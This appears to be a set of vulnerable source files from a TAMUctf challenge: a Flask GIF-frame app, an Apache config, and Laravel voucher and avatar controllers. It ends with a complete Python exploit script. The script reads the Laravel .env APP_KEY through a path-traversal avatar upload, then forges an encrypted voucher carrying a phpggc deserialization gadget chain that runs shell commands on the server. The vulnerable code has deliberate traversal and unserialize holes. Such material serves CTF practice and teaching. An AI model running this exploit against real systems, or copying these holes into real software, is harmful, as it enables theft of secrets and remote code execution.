1
from flask import Flask, render_template, request, redirect, url_for, send_from_directory, make_response, jsonify
2
import os
3
import subprocess
4
import uuid
5
from werkzeug.utils import secure_filename
6

7
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
8

9
app = Flask(__name__, template_folder=os.path.join(BASE_DIR, 'templates'),  static_folder='/srv/http/static')
10

11
UPLOAD_FOLDER = '/srv/http/uploads'
12
FRAMES_BASE = '/srv/http/static/frames'
13

14
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
15
os.makedirs(FRAMES_BASE, exist_ok=True)
16

17
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
18
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024
19

20
@app.errorhandler(413)
21
def request_entity_too_large(error):
22
    return jsonify({'success': False, 'error': 'File too large. Maximum size is 16MB.'}), 413
23

24
def get_user_id():
25
    user_id = request.cookies.get('user_id')
26
    if not user_id:
27
        user_id = str(uuid.uuid4())
28
    return user_id
29

30
def extract_frames(input_path, output_dir, gif_name):
31
    os.makedirs(output_dir, exist_ok=True)
32

33
    width = 120
34

35
    cmd = [
36
        'ffmpeg', '-i', input_path,
37
        '-vf', f'fps=10,scale={width}:-1:flags=lanczos,palettegen',
38
        '-y', f'{output_dir}/palette.png'
39
    ]
40
    subprocess.run(cmd, capture_output=True)
41

42
    cmd = [
43
        'ffmpeg', '-i', input_path,
44
        '-i', f'{output_dir}/palette.png',
45
        '-lavfi', f'fps=10,scale={width}:-1:flags=lanczos[x];[x][1:v]paletteuse',
46
        '-y', f'{output_dir}/output.gif'
47
    ]
48
    subprocess.run(cmd, capture_output=True)
49

50
    frame_count = 0
51
    cmd = [
52
        'ffmpeg', '-i', f'{output_dir}/output.gif',
53
        f'{output_dir}/frame_%04d.png'
54
    ]
55
    subprocess.run(cmd, capture_output=True)
56

57
    for f in os.listdir(output_dir):
58
        if f.startswith('frame_') and f.endswith('.png'):
59
            frame_count += 1
60

61
    return frame_count
62

63
@app.route('/')
64
def index():
65
    user_id = get_user_id()
66

67
    view_gif = request.args.get('view')
68
    view_user_id = request.args.get('view_user_id', user_id)
69
    view_frames = []
70

71
    if view_gif:
72
        view_frames_dir = os.path.join(FRAMES_BASE, view_user_id, view_gif)
73
        if os.path.exists(view_frames_dir):
74
            view_frames = sorted([f for f in os.listdir(view_frames_dir) if f.startswith('frame_') and f.endswith('.png')])
75

76
    default_frames_dir = os.path.join(FRAMES_BASE, 'shared', 'bad-apple')
77
    default_frames = []
78
    if os.path.exists(default_frames_dir):
79
        default_frames = sorted([f for f in os.listdir(default_frames_dir) if f.startswith('frame_') and f.endswith('.png')])
80

81
    user_frames_dir = os.path.join(FRAMES_BASE, user_id)
82
    gifs = []
83
    if os.path.exists(user_frames_dir):
84
        for gif_name in os.listdir(user_frames_dir):
85
            gif_path = os.path.join(user_frames_dir, gif_name)
86
            if os.path.isdir(gif_path):
87
                frames = [f for f in os.listdir(gif_path) if f.startswith('frame_') and f.endswith('.png')]
88
                gifs.append({'name': gif_name, 'frame_count': len(frames)})
89

90
    response = make_response(render_template('index.html',
91
        user_id=user_id,
92
        default_gif='bad-apple',
93
        default_frames=default_frames,
94
        gifs=gifs,
95
        view_gif=view_gif,
96
        view_user_id=view_user_id,
97
        view_frames=view_frames))
98
    response.set_cookie('user_id', user_id)
99
    return response
100

101
@app.route('/upload', methods=['POST'])
102
def upload():
103
    if 'file' not in request.files:
104
        return jsonify({'success': False, 'error': 'No file uploaded'}), 400
105

106
    file = request.files['file']
107
    if file.filename == '':
108
        return jsonify({'success': False, 'error': 'No file selected'}), 400
109

110
    if file:
111
        filename = secure_filename(file.filename)
112
        user_id = request.cookies.get('user_id')
113
        if not user_id:
114
            user_id = str(uuid.uuid4())
115

116
        user_dir = os.path.join(app.config['UPLOAD_FOLDER'], user_id)
117
        os.makedirs(user_dir, exist_ok=True)
118

119
        filepath = os.path.join(user_dir, filename)
120
        file.save(filepath)
121

122
        safe_name = os.path.splitext(os.path.basename(filename))[0]
123
        output_dir = os.path.join(FRAMES_BASE, user_id, safe_name)
124

125
        if os.path.exists(output_dir) and os.listdir(output_dir):
126
            return jsonify({'success': False, 'error': 'GIF with this name already exists'}), 400
127

128
        os.makedirs(output_dir, exist_ok=True)
129

130
        try:
131
            extract_frames(filepath, output_dir, safe_name)
132
            response = make_response(jsonify({'success': True, 'user_id': user_id, 'gif_name': safe_name}))
133
            response.set_cookie('user_id', user_id)
134
            return response
135
        except Exception as e:
136
            return jsonify({'success': False, 'error': str(e)}), 500
137

138
@app.route('/convert')
139
def convert():
140
    user_id = request.args.get('user_id', 'anonymous')
141
    filename = request.args.get('filename', '')
142

143
    input_path = os.path.join(app.config['UPLOAD_FOLDER'], secure_filename(user_id), filename)
144
    if not os.path.exists(input_path):
145
        return "File not found", 404
146

147
    safe_name = os.path.splitext(os.path.basename(filename))[0]
148
    output_dir = os.path.join(FRAMES_BASE, user_id, safe_name)
149
    os.makedirs(output_dir, exist_ok=True)
150

151
    try:
152
        frame_count = extract_frames(input_path, output_dir, safe_name)
153
        return redirect(url_for('index', view=safe_name, user_id=user_id))
154
    except Exception as e:
155
        return f"Error processing file: {str(e)}", 500
156

157
@app.route('/get_frames')
158
def get_frames():
159
    user_id = request.args.get('user_id', 'anonymous')
160
    gif_name = request.args.get('gif_name', '')
161

162
    frames_dir = os.path.join(FRAMES_BASE, user_id, gif_name)
163

164
    if not os.path.exists(frames_dir):
165
        return jsonify({'error': 'GIF not found'}), 404
166

167
    frames = sorted([f for f in os.listdir(frames_dir) if f.startswith('frame_') and f.endswith('.png')])
168

169
    return jsonify(frames)
170

171
application = app

1
<VirtualHost *:80>
2
    WSGIScriptAlias / /srv/app/wsgi_app.py
3

4
    <Directory /srv/app>
5
        Require all granted
6
    </Directory>
7

8
    Alias /browse /srv/http/uploads
9
    <Directory /srv/http/uploads>
10
        Options +Indexes
11
        DirectoryIndex disabled
12
        IndexOptions FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* ShowForbidden
13
        AllowOverride None
14
        Require all granted
15

16
        <FilesMatch "\.gif$">
17
            AuthType Basic
18
            AuthName "Admin Area"
19
            AuthUserFile /srv/http/.htpasswd
20
            Require valid-user
21
        </FilesMatch>
22
    </Directory>
23
</VirtualHost>

1
<?php
2

3
namespace App\Http\Controllers;
4

5
use Illuminate\Http\Request;
6
use Illuminate\Routing\Controller;
7
use Illuminate\Support\Facades\Auth;
8
use Illuminate\Contracts\Encryption\DecryptException;
9
use Carbon\Carbon;
10

11
class VouchersController extends Controller
12
{
13
    public function index(Request $request)
14
    {
15
        return view('vouchers', ['user' => Auth::user()]);
16
    }
17

18
    public function create(Request $request)
19
    {
20
        $data = $request->validate([
21
            'amount' => 'required|integer|min:1'
22
        ]);
23

24
        /** @var \App\Models\User $user */
25
        $user = Auth::user();
26
        $amount = (int) $data['amount'];
27

28
        if ($user->balance < $amount) {
29
            return back()->withErrors([
30
                'amount' => 'Amount is greater than funds available.'
31
            ]);
32
        }
33

34
        $user->balance -= $amount;
35
        $user->save();
36

37
        $voucher = encrypt([
38
            'amount' => $amount,
39
            'created_by' => $user->uuid,
40
            'created_at' => Carbon::now()
41
        ]);
42

43
        return back()->with('voucher', $voucher);
44
    }
45

46
    public function redeem(Request $request)
47
    {
48
        $data = $request->validate([
49
            'voucher' => 'required|string'
50
        ]);
51

52
        try {
53
            $voucher = decrypt($data['voucher']);
54
        } catch (DecryptException $e) {
55
            return back()->withErrors([
56
                'voucher' => 'Invalid voucher.'
57
            ]);
58
        }
59

60
        /** @var \App\Models\User $user */
61
        $user = Auth::user();
62
        $user->balance += $voucher['amount'];
63
        $user->save();
64

65
        return redirect()->back();
66
    }
67
}

1
public function decrypt($payload, $unserialize = true)
2
  {
3
    $payload = $this->getJsonPayload($payload);
4

5
    $iv = base64_decode($payload['iv']);
6

7
    $this->ensureTagIsValid(
8
      $tag = empty($payload['tag']) ? null : base64_decode($payload['tag'])
9
    );
10

11
    // Here we will decrypt the value. If we are able to successfully decrypt it
12
    // we will then unserialize it and return it out to the caller. If we are
13
    // unable to decrypt this value we will throw out an exception message.
14
    $decrypted = \openssl_decrypt(
15
      $payload['value'], strtolower($this->cipher), $this->key, 0, $iv, $tag ?? ''
16
    );
17

18
    if ($decrypted === false) {
19
      throw new DecryptException('Could not decrypt the data.');
20
    }
21

22
    return $unserialize ? unserialize($decrypted) : $decrypted;
23
  }

1
<?php
2

3
namespace App\Http\Controllers;
4

5
use Illuminate\Http\Request;
6
use Illuminate\Routing\Controller;
7
use Illuminate\Support\Facades\Auth;
8
use Illuminate\Support\Facades\Storage;
9
use App\Models\User;
10

11
class AccountController extends Controller
12
{
13
    public function index(Request $request)
14
    {
15
        return view('account', ['user' => Auth::user()]);
16
    }
17

18
    public function update(Request $request)
19
    {
20
        /** @var \App\Models\User $user */
21
        $user = Auth::user();
22

23
        $credentials = $request->validate([
24
            'username' => 'required|string',
25
            'password' => 'nullable|string',
26
            'password2' => 'nullable|string'
27
        ]);
28

29
        if ($credentials['password'] !== $credentials['password2']) {
30
            return back()->withErrors(([
31
                'password' => 'Passwords do not match.'
32
            ]));
33
        }
34

35
        if ($credentials['username'] !== $user->username) {
36
            $existingUser = User::where('username', $credentials['username'])->first();
37
            if ($existingUser) {
38
                return back()->withErrors([
39
                    'username' => 'Username is taken.'
40
                ]);
41
            }
42

43
            $user->username = $credentials['username'];
44
        }
45

46
        if ($credentials['password'])
47
            $user->password = $credentials['password'];
48

49
        $user->save();
50

51
        return redirect()->refresh();
52
    }
53

54
    public function updateAvatar(Request $request)
55
    {
56
        $request->validate([
57
            'avatar' => 'required|image|max:2048'
58
        ]);
59

60
        /** @var \App\Models\User $user */
61
        $user = Auth::user();
62

63
        if ($user->avatar) {
64
            $previousPath = Storage::disk('public')->path($user->avatar);
65
            if (file_exists($previousPath))
66
                unlink($previousPath);
67
        }
68

69
        $name = $_FILES['avatar']['full_path'];
70
        $path = "/var/www/storage/app/public/avatars/$name";
71
        $request->file('avatar')->storeAs('avatars', basename($name), 'public');
72

73
        $user->avatar = $path;
74
        $user->save();
75

76
        return redirect()->back();
77
    }
78

79
    public function getAvatar(Request $request)
80
    {
81
        $path = Auth::user()->avatar;
82

83
        if (!$path)
84
            return response()->json(['error' => 'No avatar set.']);
85

86
        return response()->file($path);
87
    }
88
}

1
$name = $_FILES['avatar']['full_path'];
2
$path = "/var/www/storage/app/public/avatars/$name";
3
$request->file('avatar')->storeAs('avatars', basename($name), 'public');
4

5
$user->avatar = $path;
6
$user->save();

1
import argparse
2
import base64
3
import hashlib
4
import hmac
5
import json
6
import os
7
import random
8
import re
9
import string
10
import subprocess
11
import sys
12
import urllib3
13

14
import requests
15
from Crypto.Cipher import AES
16

17
# 关闭 HTTPS 证书告警
18
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
19

20

21
def extract_csrf(html: str) -> str:
22
    # 从页面中提取 CSRF token
23
    m = re.search(r'name="_token"\s+value="([^"]+)"', html)
24
    if m:
25
        return m.group(1)
26
    m = re.search(r'meta name="csrf-token" content="([^"]+)"', html)
27
    if m:
28
        return m.group(1)
29
    raise RuntimeError("CSRF token not found")
30

31

32
def tiny_png() -> bytes:
33
    # 构造一个最小合法 PNG 文件
34
    return (
35
        b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01"
36
        b"\x08\x02\x00\x00\x00\x90wS\xde\x00\x00\x00\x0cIDATx\x9cc``\x00\x00"
37
        b"\x00\x02\x00\x01\xe2!\xbc3\x00\x00\x00\x00IEND\xaeB`\x82"
38
    )
39

40

41
def laravel_encrypt_raw(serialized: str, key_bytes: bytes) -> str:
42
    # 按 Laravel 的格式加密字符串
43
    iv = os.urandom(16)
44
    pt = serialized.encode()
45

46
    # PKCS#7 填充
47
    pad = 16 - (len(pt) % 16)
48
    pt += bytes([pad]) * pad
49

50
    # AES-CBC 加密
51
    ct = AES.new(key_bytes, AES.MODE_CBC, iv).encrypt(pt)
52

53
    iv_b64 = base64.b64encode(iv).decode()
54
    val_b64 = base64.b64encode(ct).decode()
55

56
    # 计算 MAC，伪造成合法 Laravel 密文
57
    mac = hmac.new(key_bytes, (iv_b64 + val_b64).encode(), hashlib.sha256).hexdigest()
58
    payload = json.dumps(
59
        {"iv": iv_b64, "value": val_b64, "mac": mac, "tag": ""},
60
        separators=(",", ":"),
61
    )
62
    return base64.b64encode(payload.encode()).decode()
63

64

65
def run_phpggc(phpggc: str, chain: str, cmd: str) -> str:
66
    # 调用 phpggc 生成恶意序列化对象
67
    attempts = [
68
        ["php", phpggc, chain, "system", cmd],
69
        ["php", phpggc, chain, cmd],
70
        ["php", phpggc, "-f", chain, "system", cmd],
71
        ["php", phpggc, "-f", chain, cmd],
72
    ]
73
    for a in attempts:
74
        p = subprocess.run(a, capture_output=True, text=True)
75
        if p.returncode == 0 and p.stdout.strip():
76
            return p.stdout.strip()
77
    raise RuntimeError(f"phpggc failed for {chain}")
78

79

80
def main():
81
    parser = argparse.ArgumentParser(description="TAMUctf vault exploit")
82
    parser.add_argument(
83
        "--url",
84
        default="https://589b74a1-e8da-4294-838f-79453cf65191.tamuctf.com",
85
        help="target base url",
86
    )
87
    parser.add_argument(
88
        "--phpggc",
89
        default="phpggc/phpggc",
90
        help="path to phpggc entry script",
91
    )
92
    args = parser.parse_args()
93

94
    base = args.url.rstrip("/")
95

96
    # 使用 Session 自动保存登录态 cookie
97
    s = requests.Session()
98
    s.verify = False
99

100
    # 随机注册一个账号
101
    username = "u" + "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8))
102
    password = "Pass123456!"
103

104
    # Register
105
    r = s.get(base + "/register", timeout=15)
106
    csrf = extract_csrf(r.text)
107
    s.post(
108
        base + "/register",
109
        data={"_token": csrf, "username": username, "password": password, "password2": password},
110
        timeout=15,
111
    )
112

113
    # Login
114
    r = s.get(base + "/login", timeout=15)
115
    csrf = extract_csrf(r.text)
116
    s.post(
117
        base + "/login",
118
        data={"_token": csrf, "username": username, "password": password},
119
        timeout=15,
120
    )
121

122
    # 利用头像上传点读取 .env
123
    r = s.get(base + "/account", timeout=15)
124
    csrf = extract_csrf(r.text)
125
    s.post(
126
        base + "/account/avatar",
127
        data={"_token": csrf},
128
        files={"avatar": ("../../../../.env", tiny_png(), "image/png")},
129
        timeout=15,
130
    )
131

132
    # 通过 /avatar 读取 .env 内容并提取 APP_KEY
133
    env_text = s.get(base + "/avatar", timeout=15).text
134
    m = re.search(r"^APP_KEY=(.+)$", env_text, flags=re.M)
135
    if not m:
136
        print("[-] APP_KEY not found from /avatar")
137
        sys.exit(1)
138

139
    app_key = m.group(1).strip()
140
    key = base64.b64decode(app_key.split(":", 1)[1])
141
    print(f"[+] APP_KEY: {app_key}")
142

143
    # 用 phpggc 生成 Laravel/RCE22 链，再按 Laravel 格式加密
144
    cmd = "sh -c 'cat /*-flag.txt > /var/www/public/pwn.txt'"
145
    serialized = run_phpggc(args.phpggc, "Laravel/RCE22", cmd)
146
    voucher = laravel_encrypt_raw(serialized, key)
147

148
    # 提交 voucher 触发反序列化链
149
    r = s.get(base + "/vouchers", timeout=15)
150
    csrf = extract_csrf(r.text)
151
    rr = s.post(
152
        base + "/vouchers/redeem",
153
        data={"_token": csrf, "voucher": voucher},
154
        timeout=15,
155
    )
156
    print(f"[+] redeem status: {rr.status_code}")
157

158
    # 读取命令执行后写出的文件
159
    fr = s.get(base + "/pwn.txt", timeout=15)
160
    print(f"[+] /pwn.txt status: {fr.status_code}")
161
    print(fr.text.strip())
162

163
    # 提取 flag
164
    flag = re.search(r"gigem\{[^}]+\}", fr.text, flags=re.I)
165
    if flag:
166
        print(f"[FLAG] {flag.group(0)}")
167
    else:
168
        print("[-] flag regex not found")
169

170

171
if __name__ == "__main__":
172
    main()